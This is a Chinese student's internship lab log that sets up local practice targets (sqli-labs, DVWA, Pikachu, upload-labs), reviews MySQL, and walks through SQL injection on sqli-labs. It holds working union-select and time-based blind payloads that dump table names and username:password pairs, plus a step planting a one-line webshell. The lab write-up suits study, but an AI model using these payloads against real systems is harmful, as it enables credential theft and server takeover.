粤嵌科技毕业实习Day9

粤嵌科技毕业实习Day9

环境搭建

  • Sqli-lab环境搭建

    Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW

    把压缩包sqli-labs-master拉到默认网站目录解压,将最里面的sqli-labs-master,重命名为sqli,转移回网站默认目录

    修改sqli里面的sql-connections,这个目录下的db-creds文件修改数据库的用户名和密码

    访问http://127.0.0.1/sqli/

  • DVWA环境搭建(默认账号密码admin、password)

    Phpstudy的默认网站目录 D:phpStudyPHPTutorialWWW

    把压缩包DVWA-master拉到默认网站目录解压,将最里面的DVWA-master,重命名为dvwa,转移回网站默认目录

    进入config目录下修改文件名config.inc.php.dist为config.inc.php;编辑里面的内容如下

    打开http://127.0.0.1/dvwa/setup.php

  • Pikachu环境搭建

    把压缩包pikachu-master拉到默认网站目录解压,将最里面的pikachu-master,重命名为pikachu,转移回网站默认目录

    打开浏览器,输入http://127.0.0.1/pikachu/

  • Upload-labs环境搭建

    把压缩包upload-labs-master拉到默认网站目录解压,将最里面的upload-labs-master,重命名为upload,转移回网站默认目录

    打开浏览器,输入http://127.0.0.1/upload/


Mysql数据库

  • MySQL 最流行的关系型数据库管理系统,在 WEB 应用方面 MySQL 是最好的 RDBMS (Relational Database Management System,关系数据库管理系统) 应用软件之一。

  • MySQL 是一种关联数据库管理系统,关联数据库将数据保存在不同的表中,而不是将所有数据放在一个大仓库内,这样就增加了速度并提高了灵活性。

  • MySQL 所使用的 SQL 语言是用于访问数据库的最常用标准化语言。

  • 因其体积小、速度快、总体拥有成本低,尤其是开放源码这一特点,一般中小型网站的开发都选择 MySQL 作为网站数据库。由于其社区版的性能卓越,搭配 PHP 和 Apache 可组成良好的开发环境。

  • 在Mysql 5.0以上的版本中,为了方便管理,默认定义了information_schema数据库,用来存储数据库元信息。其中具有表schemata(数据库名)、tables(表名)、columns(列名或字段名)。

    • 在schemata表中,schema_name字段用来存储数据库名。
    • 在tables表中,table_schema和table_name分别用来存储数据库名和表名。
    • 在columns表中,table_schema(数据库名)、table_name(表名)、column_name(字段名)
  • 语法

    # 1:使用SHOW语句找出在服务器上当前存在什么数据库:
    mysql> SHOW DATABASES;
    # 2:创建一个数据库MYSQLDATA
    mysql> CREATE DATABASE MYSQLDATA;
    # 3:选择你所创建的数据库
    mysql> USE MYSQLDATA; (按回车键出现Database changed 时说明操作成功!)
    # 4:查看现在的数据库中存在什么表
    mysql> SHOW TABLES;
    # 5:创建一个数据库表
    mysql> CREATE TABLE MYTABLE (name VARCHAR(20), sex CHAR(1)); 
    # 6.导入.sql文件命令(例如D:/mysql.sql)
    mysql>use database;
    mysql>source d:/mysql.sql;
    
    # 查删改添   
    SELECT 列名称 FROM 表名称 WHERE 字段1 = '条件1' AND 字段2 = '条件2'
    INSERT INTO table_name (列1, 列2,...) VALUES (值1, 值2,....)
    UPDATE 表名称 SET 列名称 = 新值 WHERE 列名称 = 某值
    DELETE FROM 表名称 WHERE 列名称 = 值
    
  • 常用函数

    1:system_user() 系统用户名
    2:user()        用户名
    3:current_user()  当前用户名
    4:session_user()连接数据库的用户名
    5:database()    数据库名
    6:version()     MYSQL数据库版本
    7:load_file()  	转成16进制或者是10进制 MYSQL读取本地文件的函数
    8:@@datadir     读取数据库路径
    9:@@basedir    MYSQL 安装路径
    10:@@version_compile_os   操作系统
    
  • Mysql注释及字符串连接函数

    • 注释

      --%20,%23, --+, -- -,/* */,/*!*/
      
    • 字符串连接函数

      1. concat(str1,str2,...)——没有分隔符地连接字符串
      2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
      3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
      
    • 符号与十六进制转换

      0x3a -->:
      0x2f -->/
      0x7c -->|
      

Sql注入分类

  • 依据注入点类型分类

    • 数字类型的注入 SELECT 列 FROM 表 WHERE 数字型列=值
    • 字符串类型的注入 SELECT 列 FROM 表 WHERE 字符型列=‘值’
    • 搜索型注入 SELECT * FROM 表 WHERE 被搜索列 LIKE ‘%值%’
  • 依据提交方式分类

    • GET注入
    • POST注入
    • COOKIE注入
    • HTTP头注入(XFF注入、UA注入、REFERER注入)
  • 依据获取信息的方式分类

    • 联合查询注入
    • 基于布尔的盲注
    • 基于时间的盲注
    • 基于报错的注入
    • 堆查询注入 (可同时执行多条语句)
  1. 基于get型的联合查询注入

    # 1、利用order by 判断字段数。
    # 2、利用union select 联合查询,获取表名。
    0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    # 3、利用union select 联合查询,获取字段名。
    0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    # 4、利用union select 联合查询,获取字段值。
    0' union select 1,group_concat(username,0x3a,password),3 from users--+
    
    
  2. 基于post型的联合查询注入(抓包)

    # 1、利用order by 判断字段数。
    # 2、利用union select 联合查询,获取表名。
    0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
    # 3、利用union select 联合查询,获取字段名。
    0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+
    # 4、利用union select 联合查询,获取字段值。
    0' union select 1,group_concat(username,0x3a,password),3 from users--+
    

练习Less-1

1、选择Less-1

2、输入?id=1

回显正常

3、末尾加多一个单引号‘

报错,语法错误

4、可以在末尾添加%23注释掉后面的内容,使其不报错。

5、用order by判断字段

从1开始试,直到4回显不正常,说明有4个字段

6、用union select 联合查询

把id=0,从而显示后面内容

从4开始,往前减。

可以知道有3列

7、用user()和database()替换上面的2和3,可以查询数据库信息。

8、0' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+ 获取表名

9、0' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' --+ 获得字段名

10、0' union select 1,group_concat(username,0x3a,password),3 from users--+ 获得字段值

得到的便是账户密码


盲注

0、修改配置文件mysql.ini

才能开始实验。

Less7

1、进入Less7

2、把一句话木马插入到网站目录

3、虽然显示语法错误,但是a.php已经被写进去了。

4、用蚁剑连接一句话木马,进入服务器。

Less-9时间盲注

1、进入Less-9

2、输入id

可见id无论对错都是正常回显。

3、使用 and if(length(database())=8,0,sleep(5)) 判断当前库名长度

and if(length(database())=7,0,sleep(5)),加载完成时间是7.16

and if(length(database())=8,0,sleep(5)),加载完成时间是2.16

显然数据库长度为8.

4、用ascii码结合网络延迟的方法猜库名

and if(ascii(substr(database(),1,1))=114,0,sleep(5)),加载时间7.08

and if(ascii(substr(database(),1,1))=115,0,sleep(5)),加载时间2.08

Asci码=115,即首字符为s。

继续第二个字符:and if(ascii(substr(database(),2,1))=101,0,sleep(15))

Asci码=101,即次字符为e。

重复以上操作,得到完整库名security。

5、猜完库名猜表名。

and if((select ascii(substr((select table_name from information_schema.tables where table_schema="security" limit 0,1),1,1)))=101,0,sleep(5))

无延迟,说明首字符是e。

可以得到所有表名:emails,refers,uagents,users。

6、知道表名后,就可以猜users表的字段。

and if((select ascii(substr((select column_name from information_schema.columns where table_name="users" limit 0,1),1,1)))=105,0,sleep(5))

105=i,重复操作,可以得到所有字段:id,username,password

7、最后再猜字段的内容,即账户密码。

97=a,可以通过改变id的值,找到admin用户是在哪个id,然后再猜密码。

and if((select ascii(substr((select username from users WHERE id=8),1,1)))=97,0,sleep(5))

可见id=8时,首字符为a。

再猜id=8的密码:and if((select ascii(substr((select password from users WHERE id=8),1,1)))=97,0,sleep(5))

首字符还是a,重复操作,最终可以确定密码是admin。

打开phpstudy的数据库可以确定是正确的。

本文作者:AlubNoBug
本文链接:https://www.cnblogs.com/AlubNoBug/p/13694018.html

原文地址:https://www.cnblogs.com/AlubNoBug/p/13694018.html